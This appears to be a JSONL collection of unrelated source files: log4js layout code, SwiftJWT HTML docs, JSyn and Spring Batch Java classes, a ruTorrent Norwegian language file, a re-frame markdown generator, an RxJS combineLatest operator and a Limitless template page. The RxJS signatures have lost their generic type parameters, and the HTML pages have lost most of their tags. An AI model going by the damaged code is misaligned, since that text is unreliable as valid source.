}\",\" // Format the date\",\" return dateFormat.asString(format, loggingEvent.startTime);\",\" }\",\"\",\" function formatMessage(loggingEvent) {\",\" return formatLogData(loggingEvent.data);\",\" }\",\" \",\" function endOfLine() {\",\" return eol;\",\" }\",\"\",\" function logLevel(loggingEvent) {\",\" return loggingEvent.level.toString();\",\" }\",\"\",\" function startTime(loggingEvent) {\",\" return \\\"\\\" + loggingEvent.startTime.toLocaleTimeString();\",\" }\",\"\",\" function startColour(loggingEvent) {\",\" return colorizeStart(colours[loggingEvent.level.toString()]);\",\" }\",\"\",\" function endColour(loggingEvent) {\",\" return colorizeEnd(colours[loggingEvent.level.toString()]);\",\" }\",\"\",\" function percent() {\",\" return '%';\",\" }\",\"\",\" function userDefined(loggingEvent, specifier) {\",\" if (typeof(tokens[specifier]) !== 'undefined') {\",\" if (typeof(tokens[specifier]) === 'function') {\",\" return tokens[specifier](loggingEvent);\",\" } else {\",\" return tokens[specifier];\",\" }\",\" }\",\" return null;\",\" }\",\"\",\" var replacers = {\",\" 'c': categoryName,\",\" 'd': formatAsDate,\",\" 'm': formatMessage,\",\" 'n': endOfLine,\",\" 'p': logLevel,\",\" 'r': startTime,\",\" '[': startColour,\",\" ']': endColour,\",\" '%': percent,\",\" 'x': userDefined\",\" };\",\"\",\" function replaceToken(conversionCharacter, loggingEvent, specifier) {\",\" return replacers[conversionCharacter](loggingEvent, specifier);\",\" }\",\"\",\" function truncate(truncation, toTruncate) {\",\" var len;\",\" if (truncation) {\",\" len = parseInt(truncation.substr(1), 10);\",\" return toTruncate.substring(0, len);\",\" }\",\"\",\" return toTruncate;\",\" }\",\"\",\" function pad(padding, toPad) {\",\" var len;\",\" if (padding) {\",\" if (padding.charAt(0) == \\\"-\\\") {\",\" len = parseInt(padding.substr(1), 10);\",\" // Right pad with spaces\",\" while (toPad.length < len) {\",\" toPad += \\\" \\\";\",\" }\",\" } else {\",\" len = parseInt(padding, 10);\",\" // Left pad with spaces\",\" while (toPad.length < len) {\",\" toPad = \\\" \\\" + toPad;\",\" }\",\" }\",\" }\",\" return toPad;\",\" }\",\" \",\" return function(loggingEvent) {\",\" var formattedString = \\\"\\\";\",\" var result;\",\" var searchString = pattern;\",\" \",\" while ((result = regex.exec(searchString))) {\",\" var matchedString = result[0];\",\" var padding = result[1];\",\" var truncation = result[2];\",\" var conversionCharacter = result[3];\",\" var specifier = result[5];\",\" var text = result[6];\",\" \",\" // Check if the pattern matched was just normal text\",\" if (text) {\",\" formattedString += \\\"\\\" + text;\",\" } else {\",\" // Create a raw replacement string based on the conversion\",\" // character and specifier\",\" var replacement = \",\" replaceToken(conversionCharacter, loggingEvent, specifier) || \",\" matchedString;\",\"\",\" // Format the replacement according to any padding or\",\" // truncation specified\",\" replacement = truncate(truncation, replacement);\",\" replacement = pad(padding, replacement);\",\" formattedString += replacement;\",\" }\",\" searchString = searchString.substr(result.index + result[0].length);\",\" }\",\" return formattedString;\",\" };\",\"\",\"}\",\"\",\"module.exports = {\",\" basicLayout: basicLayout, \",\" messagePassThroughLayout: messagePassThroughLayout, \",\" patternLayout: patternLayout, \",\" colouredLayout: colouredLayout, \",\" coloredLayout: colouredLayout, \",\" layout: function(name, config) {\",\" return layoutMakers[name] && layoutMakers[name](config);\",\" }\",\"};\"];\n"} +{"text": "\n\n \n ValidateClaimsResult Structure Reference\n \n \n \n \n \n \n \n \n \n \n \n\n \n\n \n\n

    \n

    \n \n SwiftJWT Docs\n \n (100% documented)\n

    \n \n

    \n

    \n \n
    \n

    \n \n

    \n \n \n View on GitHub\n \n

    \n \n
    \n\n

    \n SwiftJWT Reference\n \n ValidateClaimsResult Structure Reference\n

    \n\n
    \n \n
    \n\n
    \n
    \n

    ValidateClaimsResult

    \n
    \n
    \n
    public struct ValidateClaimsResult : CustomStringConvertible, Equatable
    \n\n
    \n
    \n

    ValidateClaimsResult list the possible results of a call to JWT.validateClaims method.\nIn case of successful validation, .success is returned, all other cases list various\nproblems that may occur during claims validation and indicate that the validation failed.

    \n\n
    \n
    \n\n
    \n
    \n
    \n
      \n
    • \n
      \n \n \n \n description\n \n
      \n
      \n
      \n
      \n
      \n
      \n

      The human readable description of the ValidateClaimsResult

      \n\n
      \n
      \n

      Declaration

      \n
      \n

      Swift

      \n
      public let description: String
      \n\n
      \n
      \n
      \n
      \n
    • \n
    • \n
      \n \n \n \n success\n \n
      \n
      \n
      \n
      \n
      \n
      \n

      Successful validation.

      \n\n
      \n
      \n

      Declaration

      \n
      \n

      Swift

      \n
      public static let success: ValidateClaimsResult
      \n\n
      \n
      \n
      \n
      \n
    • \n
    • \n
      \n \n \n \n invalidExpiration\n \n
      \n
      \n
      \n
      \n
      \n
      \n

      Invalid Expiration claim.

      \n\n
      \n
      \n

      Declaration

      \n
      \n

      Swift

      \n
      public static let invalidExpiration: ValidateClaimsResult
      \n\n
      \n
      \n
      \n
      \n
    • \n
    • \n
      \n \n \n \n expired\n \n
      \n
      \n
      \n
      \n
      \n
      \n

      Expired token: expiration time claim is in the past.

      \n\n
      \n
      \n

      Declaration

      \n
      \n

      Swift

      \n
      public static let expired: ValidateClaimsResult
      \n\n
      \n
      \n
      \n
      \n
    • \n
    • \n
      \n \n \n \n invalidNotBefore\n \n
      \n
      \n
      \n
      \n
      \n
      \n

      Invalid Not Before claim.

      \n\n
      \n
      \n

      Declaration

      \n
      \n

      Swift

      \n
      public static let invalidNotBefore: ValidateClaimsResult
      \n\n
      \n
      \n
      \n
      \n
    • \n
    • \n
      \n \n \n \n notBefore\n \n
      \n
      \n
      \n
      \n
      \n
      \n

      Not Before claim is in the future.

      \n\n
      \n
      \n

      Declaration

      \n
      \n

      Swift

      \n
      public static let notBefore: ValidateClaimsResult
      \n\n
      \n
      \n
      \n
      \n
    • \n
    • \n
      \n \n \n \n invalidIssuedAt\n \n
      \n
      \n
      \n
      \n
      \n
      \n

      Invalid Issued At claim.

      \n\n
      \n
      \n

      Declaration

      \n
      \n

      Swift

      \n
      public static let invalidIssuedAt: ValidateClaimsResult
      \n\n
      \n
      \n
      \n
      \n
    • \n
    • \n
      \n \n \n \n issuedAt\n \n
      \n
      \n
      \n
      \n
      \n
      \n

      Issued At claim is in the future.

      \n\n
      \n
      \n

      Declaration

      \n
      \n

      Swift

      \n
      public static let issuedAt: ValidateClaimsResult
      \n\n
      \n
      \n
      \n
      \n
    • \n
    • \n
      \n \n \n \n ==(_:_:)\n \n
      \n
      \n
      \n
      \n
      \n
      \n

      Check if two ValidateClaimsResults are equal. Required for the Equatable protocol

      \n\n
      \n
      \n

      Declaration

      \n
      \n

      Swift

      \n
      public static func == (lhs: ValidateClaimsResult, rhs: ValidateClaimsResult) -> Bool
      \n\n
      \n
      \n
      \n
      \n
    • \n
    \n
    \n
    \n
    \n\n
    \n
    \n
    \n

    © 2019 IBM. All rights reserved. (Last updated: 2019-09-25)

    \n

    Generated by jazzy ♪♫ v0.9.6, a Realm project.

    \n
    \n \n\n\n"} +{"text": "/*\n * Copyright 2009 Phil Burk, Mobileer Inc\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.jsyn.unitgen;\n\nimport com.jsyn.Synthesizer;\nimport com.jsyn.ports.UnitOutputPort;\n\n/**\n * External audio input is sent to the output of this unit. The LineIn provides a stereo signal\n * containing channels 0 and 1. For LineIn to work you must call the Synthesizer start() method with\n * numInputChannels > 0.\n *\n * @author Phil Burk (C) 2009 Mobileer Inc\n * @see Synthesizer\n * @see ChannelIn\n * @see LineOut\n */\npublic class LineIn extends UnitGenerator {\n public UnitOutputPort output;\n\n public LineIn() {\n addPort(output = new UnitOutputPort(2, \"Output\"));\n }\n\n @Override\n public void generate(int start, int limit) {\n double[] outputs0 = output.getValues(0);\n double[] outputs1 = output.getValues(1);\n double[] buffer0 = synthesisEngine.getInputBuffer(0);\n double[] buffer1 = synthesisEngine.getInputBuffer(1);\n for (int i = start; i < limit; i++) {\n outputs0[i] = buffer0[i];\n outputs1[i] = buffer1[i];\n }\n }\n\n}\n"} +{"text": "/*\n * PLUGIN AUTOTOOLS\n *\n * Norwegian language file.\n *\n * Author: nirosa (nirosax@gmail.com)\n */\n\n var s_PluginFail\t\t\t= \"Pluginen vil ikke fungere.\";\n\n theUILang.autotools\t\t\t= \"Auto-verktøy\";\n theUILang.autotoolsEnableLabel \t= \"Aktiver \\\"AutoLabel\\\" funksjonen, Mal:\";\n theUILang.autotoolsPathToFinished\t= \"Mappe for ferdige nedlastinger.\";\n theUILang.autotoolsEnableWatch \t= \"Aktiver \\\"AutoWatch\\\" funksjonen\";\n theUILang.autotoolsPathToWatch \t= \"Lyttermappe\";\n theUILang.autotoolsWatchStart\t\t= \"Start nedlasting automatisk\";\n theUILang.autotoolsNoPathToFinished\t= \"Autotools plugin: mappen for ferdige nedlastinger er ikke satt. \" + s_PluginFail;\n theUILang.autotoolsNoPathToWatch\t= \"Autotools plugin: lyttermappen er ikke satt. \" + s_PluginFail;\n theUILang.autotoolsFileOpType\t\t= \"Operasjonstype\";\n theUILang.autotoolsFileOpMove\t\t= \"Flytt\";\n theUILang.autotoolsFileOpHardLink \t= \"Hard lenke\";\n theUILang.autotoolsFileOpCopy\t\t= \"Kopier\";\n theUILang.autotoolsFileOpSoftLink\t= \"Myk lenke\";\n theUILang.autotoolsAddLabel\t\t= \"Legg til torrentens etikett til mappe\";\n theUILang.autotoolsAddName\t\t= \"Legg til torrentens navn til mappe\";\n theUILang.autotoolsEnableMove\t\t= \"Aktiver \\\"AutoMove\\\" hvis torrentens etikett matcher filteret\";\n theUILang.autotoolsSkipMoveForFiles\t= \"Hopp over torrenter som inneholder filer som matcher med mønsteret\";\n\nthePlugins.get(\"autotools\").langLoaded();"} +{"text": "(ns ns-to-markdown\n \"This script is used to generate the API documentation for the namespace `re-frame.core`. It reads the\n source code in that namespace, extracts the docstrings (markdown) and produces a markdown-formatted\n file suitable for providing to `mkdocs` which builds the re-frame website.\n\n It is used within the GitHub Actions docs workflow at:\n https://github.com/day8/re-frame/blob/78ca09785e2adf9eea11f1e4bff2477d193f4b46/.github/workflows/docs-workflow.yml#L15\n\n The page it outputs can be seen here: http://day8.github.io/re-frame/api-re-frame.core/\n\n Usage: clojure -m ns-to-markdown ../src/re_frame/core.cljc > api-re-frame.core.md\n\n Run as a script with the Clojure CLI. Expects the first arg to be a path to a ClojureScript\n namespace. Reads the single namespace found in that file using the ClojureScript analyzer,\n extracting public var metadata such as function names, arglists and docstrings. Subsequently\n writes it out as markdown to stdout suitable for piping to a markdown file.\"\n (:require\n [clojure.java.io :as io]\n [cljs.analyzer]\n [cljs.analyzer.api]\n [clojure.string :as string]))\n\n(defn multimethod?\n [var]\n (= (:tag var) 'cljs.core/MultiFn))\n\n(defn var-type\n [opts]\n (cond\n (:macro opts) :macro\n (:protocol-symbol opts) :protocol\n (multimethod? opts) :multimethod\n :else :var))\n\n(defn remove-quote\n [arglists]\n (if (and (list? arglists) (= (first arglists) 'quote))\n (second arglists)\n arglists))\n\n(defn unindent\n [doc]\n (->> (string/split-lines doc)\n (map #(string/replace % #\"^\\s{0,2}\" \"\"))\n (string/join \"\\n\")))\n\n(defn read-var\n [var]\n (-> var\n (select-keys [:name :line :arglists :doc :dynamic :added :deprecated :api-docs/heading])\n (update :arglists remove-quote)\n (update :doc unindent)\n (assoc :type (var-type var))))\n\n(defn read-publics\n [state ns-name]\n (let [vars (cljs.analyzer.api/ns-publics state ns-name)]\n (->> vars\n (map second)\n (remove :protocol)\n (remove :anonymous)\n (sort-by :line)\n (map read-var)\n (group-by :api-docs/heading)\n (mapv (fn [[heading vars]]\n {:heading heading\n :publics vars\n :line (:line (first vars))}))\n (sort-by :line))))\n\n(defn analyze-file\n [file]\n (let [state (cljs.analyzer.api/empty-state)]\n (binding [cljs.analyzer/*analyze-deps* false]\n (cljs.analyzer.api/no-warn\n (cljs.analyzer.api/analyze-file state file {})))\n state))\n\n(defn read-file\n [path]\n (try\n (let [source (io/file path)\n ns-name (:ns (cljs.analyzer.api/parse-ns source))\n state (analyze-file source)]\n (-> (cljs.analyzer.api/find-ns state ns-name)\n (select-keys [:name :doc])\n (assoc :publics (read-publics state ns-name))))\n (catch Exception e\n (println e))))\n\n(def markdown-styles\n \"\\n\\n\")\n\n(defn ns->markdown\n [m]\n (format \"%s# %s\\n\\n\" markdown-styles (:name m)))\n\n(defn arglist->markdown\n [arglist]\n (if (zero? (count arglist))\n \"\"\n (str \" \" (string/join \" \" arglist))))\n\n(defn arglists->markdown\n [name-without-ns arglists]\n (reduce\n (fn [markdown arglist]\n (str markdown \"\\n\" (format \"`#!clj (%s%s)`\\n\" name-without-ns (arglist->markdown arglist))))\n \"\"\n arglists))\n\n(defn var->markdown\n [var]\n (let [name-without-ns (name (:name var))]\n (format \"### %s\\n%s\\n\\n%s\\n\\n\"\n name-without-ns\n (arglists->markdown name-without-ns (:arglists var))\n (:doc var))))\n\n(defn group->markdown\n [{:keys [heading publics]}]\n (reduce str (format \"## %s\\n\\n\" heading) (map var->markdown publics)))\n\n\n(defn -main\n [& args]\n (let [ns-data (read-file (first args))]\n (println (str (ns->markdown ns-data)\n (reduce str \"\" (map group->markdown (:publics ns-data)))))))\n"} +{"text": "package org.tuxdevelop.spring.batch.lightmin.server.sample.application.client.processor;\n\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.batch.item.ItemProcessor;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\nimport org.tuxdevelop.spring.batch.lightmin.server.sample.application.client.domain.Address;\nimport org.tuxdevelop.spring.batch.lightmin.server.sample.application.client.domain.BatchTaskAddress;\nimport org.tuxdevelop.spring.batch.lightmin.server.sample.application.client.domain.ProcessingState;\nimport org.tuxdevelop.spring.batch.lightmin.server.sample.application.client.persistence.dao.AddressDao;\n\n@Slf4j\n@Component\npublic class AddressMigrationProcessor implements ItemProcessor {\n\n private final AddressDao addressDAO;\n\n @Autowired\n public AddressMigrationProcessor(final AddressDao addressDAO) {\n this.addressDAO = addressDAO;\n }\n\n @Override\n public BatchTaskAddress process(final BatchTaskAddress batchTaskAddress) throws Exception {\n final Address address = mapToAddress(batchTaskAddress);\n addressDAO.add(address);\n batchTaskAddress.setProcessingState(ProcessingState.SUCCESS);\n return batchTaskAddress;\n }\n\n private Address mapToAddress(final BatchTaskAddress batchTaskAddress) {\n final Address address = new Address();\n final String streetLine = batchTaskAddress.getStreet() + \" \" + batchTaskAddress.getHouseNumber();\n final String cityLine = batchTaskAddress.getZipCode() + \" \" + batchTaskAddress.getCity();\n address.setId(batchTaskAddress.getBatchTaskId());\n address.setStreetLine(streetLine);\n address.setCityLine(cityLine);\n log.info(\"creating Address with street line: \" + streetLine + \" and city line: \" + cityLine);\n return address;\n }\n}\n"} +{"text": "\nimport { isArray } from '../util/isArray';\nimport { CombineLatestOperator } from '../observable/combineLatest';\nimport { from } from '../observable/from';\nimport { Observable } from '../Observable';\nimport { ObservableInput, OperatorFunction } from '../types';\n\nconst none = {};\n\n/* tslint:disable:max-line-length */\n/** @deprecated Deprecated in favor of static combineLatest. */\nexport function combineLatest(project: (v1: T) => R): OperatorFunction;\n/** @deprecated Deprecated in favor of static combineLatest. */\nexport function combineLatest(v2: ObservableInput, project: (v1: T, v2: T2) => R): OperatorFunction;\n/** @deprecated Deprecated in favor of static combineLatest. */\nexport function combineLatest(v2: ObservableInput, v3: ObservableInput, project: (v1: T, v2: T2, v3: T3) => R): OperatorFunction;\n/** @deprecated Deprecated in favor of static combineLatest. */\nexport function combineLatest(v2: ObservableInput, v3: ObservableInput, v4: ObservableInput, project: (v1: T, v2: T2, v3: T3, v4: T4) => R): OperatorFunction;\n/** @deprecated Deprecated in favor of static combineLatest. */\nexport function combineLatest(v2: ObservableInput, v3: ObservableInput, v4: ObservableInput, v5: ObservableInput, project: (v1: T, v2: T2, v3: T3, v4: T4, v5: T5) => R): OperatorFunction;\n/** @deprecated Deprecated in favor of static combineLatest. */\nexport function combineLatest(v2: ObservableInput, v3: ObservableInput, v4: ObservableInput, v5: ObservableInput, v6: ObservableInput, project: (v1: T, v2: T2, v3: T3, v4: T4, v5: T5, v6: T6) => R): OperatorFunction ;\n/** @deprecated Deprecated in favor of static combineLatest. */\nexport function combineLatest(v2: ObservableInput): OperatorFunction;\n/** @deprecated Deprecated in favor of static combineLatest. */\nexport function combineLatest(v2: ObservableInput, v3: ObservableInput): OperatorFunction;\n/** @deprecated Deprecated in favor of static combineLatest. */\nexport function combineLatest(v2: ObservableInput, v3: ObservableInput, v4: ObservableInput): OperatorFunction;\n/** @deprecated Deprecated in favor of static combineLatest. */\nexport function combineLatest(v2: ObservableInput, v3: ObservableInput, v4: ObservableInput, v5: ObservableInput): OperatorFunction;\n/** @deprecated Deprecated in favor of static combineLatest. */\nexport function combineLatest(v2: ObservableInput, v3: ObservableInput, v4: ObservableInput, v5: ObservableInput, v6: ObservableInput): OperatorFunction ;\n/** @deprecated Deprecated in favor of static combineLatest. */\nexport function combineLatest(...observables: Array | ((...values: Array) => R)>): OperatorFunction;\n/** @deprecated Deprecated in favor of static combineLatest. */\nexport function combineLatest(array: ObservableInput[]): OperatorFunction>;\n/** @deprecated Deprecated in favor of static combineLatest. */\nexport function combineLatest(array: ObservableInput[], project: (v1: T, ...values: Array) => R): OperatorFunction;\n/* tslint:enable:max-line-length */\n\n/**\n * @deprecated Deprecated in favor of static {@link combineLatest}.\n */\nexport function combineLatest(...observables: Array |\n Array> |\n ((...values: Array) => R)>): OperatorFunction {\n let project: (...values: Array) => R = null;\n if (typeof observables[observables.length - 1] === 'function') {\n project = <(...values: Array) => R>observables.pop();\n }\n\n // if the first and only other argument besides the resultSelector is an array\n // assume it's been called with `combineLatest([obs1, obs2, obs3], project)`\n if (observables.length === 1 && isArray(observables[0])) {\n observables = (observables[0]).slice();\n }\n\n return (source: Observable) => source.lift.call(from([source, ...observables]), new CombineLatestOperator(project));\n}\n"} +{"text": "package de.vogella.zest.jface;\n\nimport org.eclipse.ui.application.IWorkbenchWindowConfigurer;\nimport org.eclipse.ui.application.WorkbenchAdvisor;\nimport org.eclipse.ui.application.WorkbenchWindowAdvisor;\n\npublic class ApplicationWorkbenchAdvisor extends WorkbenchAdvisor {\n\n\tprivate static final String PERSPECTIVE_ID = \"de.vogella.zest.jface.perspective\";\n\n\tpublic WorkbenchWindowAdvisor createWorkbenchWindowAdvisor(\n\t\t\tIWorkbenchWindowConfigurer configurer) {\n\t\treturn new ApplicationWorkbenchWindowAdvisor(configurer);\n\t}\n\n\tpublic String getInitialWindowPerspectiveId() {\n\t\treturn PERSPECTIVE_ID;\n\t}\n\n}\n"} +{"text": "\n\n\n\t\n\t\n\t\n\tLimitless - Responsive Web Application Kit by Eugene Kopyov\n\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\n\t\n\t\n\t\n\t\n\t\n\t\n\n\t\n\t\n\t\n\t\n\n\n\n\n\n\t\n\t
    \n\t\t
    \n\t\t\t\"\"\n\n\t\t\t
      \n\t\t\t\t
    • \n\t\t\t
    \n\t\t
    \n\n\t\t
    \n\t\t\t\n\n\t\t\t\n\t\t
    \n\t
    \n\t\n\n\n\t\n\t
    \n\t\t
      \n\t\t\t
    • \n\t\t
    \n\n\t\t
    \n\t\t\t\n\n\t\t\t
    \n\t\t\t\t

    Signed in as Victoria

    \n\n\t\t\t\t\n\t\t\t
    \n\t\t
    \n\t
    \n\t\n\n\n\t\n\t
    \n\t\t
    \n\t\t\t
    \n\t\t\t\t

    Horizontal Nav - Tabbed

    \n\n\t\t\t\t\n\t\t\t
    \n\n\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\tStatistics\n\t\t\t\t\t Invoices\n\t\t\t\t\t Schedule\n\t\t\t\t
    \n\t\t\t
    \n\t\t
    \n\t
    \n\t\n\n\n\t\n\t
    \n\n\t\t\n\t\t
    \n\n\t\t\t\n\t\t\t
    \n\n\t\t\t\t\n\t\t\t\t
    \n\t\t\t\t\t
    \n\n\t\t\t\t\t\t\n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t
    Tabbed navigation
    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t \t\t
    • \n\t\t\t\t \t\t
    • \n\t\t\t\t \t\t
    • \n\t\t\t\t \t
    \n\t\t\t \t
    \n\t\t\t\t\t\t\t
    \n\n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t

    Replace standard navigation links with quick, dynamic tab functionality to transition through panes of local content, even via dropdown menus. Add data-toggle=\"tab\" to the navbar navigation links and specify id's. Tabs content needs to be placed in div's that have unique id's, .tab-pane class and .tab-pane.active classes for active pane. Wrap all content panes in <div class=\"tab-content no-padding />\" div.

    \n\n\t\t\t\t\t\t\t\t\t

    Example navigation

    \n\t\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t\t\t\t\"\"\n\n\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t\t\t
    \n\n\t\t\t\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t\t
    \n\n\t\t\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t\t\t
    Images tab content
    \n\t\t\t\t\t\t\t\t\t\t\t
    Music tab content
    \n\t\t\t\t\t\t\t\t\t\t\t
    Dribbble statistics tab content
    \n\t\t\t\t\t\t\t\t\t\t\t
    Pinterest statistics tab content
    \n\t\t\t\t\t\t\t\t\t\t\t
    Github statistics tab content
    \n\t\t\t\t\t\t\t\t\t\t\t
    Stack Overflow statistics tab content
    \n\t\t\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t
    \n\n\t\t\t\t\t\t\t\t\t

    Example markup:

    \n\t\t\t\t\t\t\t\t\t
    <!-- Tabbed navigation -->\n<ul class=\"nav navbar-nav\">\n\t<li class=\"active\"><a href=\"#tab-demo1\" data-toggle=\"tab\">Active tab</a></li>\n\t<li><a href=\"#tab-demo2\" data-toggle=\"tab\">Second tab</a></li>\n\t<li><a href=\"#tab-demo3\" data-toggle=\"tab\">Third tab</a></li>\n\t<li class=\"dropdown\">\n\t\t<a href=\"#\" class=\"dropdown-toggle\" data-toggle=\"dropdown\">Dropdown <span class=\"caret\"></span></a>\n\t\t<ul class=\"dropdown-menu dropdown-menu-right\">\n\t\t\t<li><a href=\"#tab-demo4\" data-toggle=\"tab\">Another tab</a></li>\n\t\t\t<li><a href=\"#tab-demo5\" data-toggle=\"tab\">One more tab</a></li>\n\t\t</ul>\n\t</li>\n</ul>\n<!-- /tabbed navigation -->\n\n<!-- Tabbed navigation content -->\n<div class=\"tab-content\">\n\t<div class=\"tab-pane fade active in\" id=\"tab-demo1\">Tab 1 content</div>\n\t<div class=\"tab-pane fade\" id=\"tab-demo2\">Tab 2 content</div>\n\t<div class=\"tab-pane fade\" id=\"tab-demo3\">Tab 3 content</div>\n\t<div class=\"tab-pane fade\" id=\"tab-demo4\">Tab 4 content</div>\n\t<div class=\"tab-pane fade\" id=\"tab-demo5\">Tab 5 content</div>\n</div>\n<!-- /tabbed navigation content -->
    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\n\n\t\t\t\t\t
    \n\n\t\t\t\t\t
    \n\n\t\t\t\t\t\t\n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t
    Submenu on click
    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t \t\t
    • \n\t\t\t\t \t\t
    • \n\t\t\t\t \t\t
    • \n\t\t\t\t \t
    \n\t\t\t \t
    \n\t\t\t\t\t\t\t
    \n\n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t

    By default dropdown menu opens on click. Via data attributes or JavaScript, the dropdown plugin toggles hidden content (dropdown menus) by toggling the .open class on the parent list item. Note: The data-toggle=\"dropdown\" attribute is relied on for closing dropdown menus at an application level, so it's a good idea to always use it. Horizontal navigation supports left and right menu directions, full width mega menu and submenus.

    \n\n\t\t\t\t\t\t\t\t\t

    Example navigation

    \n\t\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t\t\t\"\"\n\n\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t\t
    \n\n\t\t\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tMenu\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tForm components\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tUI components\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSidebars\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tNavigation\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tNavbars\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tExtensions\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t
    • \n\n\t\t\t\t\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tUpdates\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t26\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tGit updates\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      \n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tDrop the IE specific hacks for temporal inputs\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
        4 minutes ago
        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t
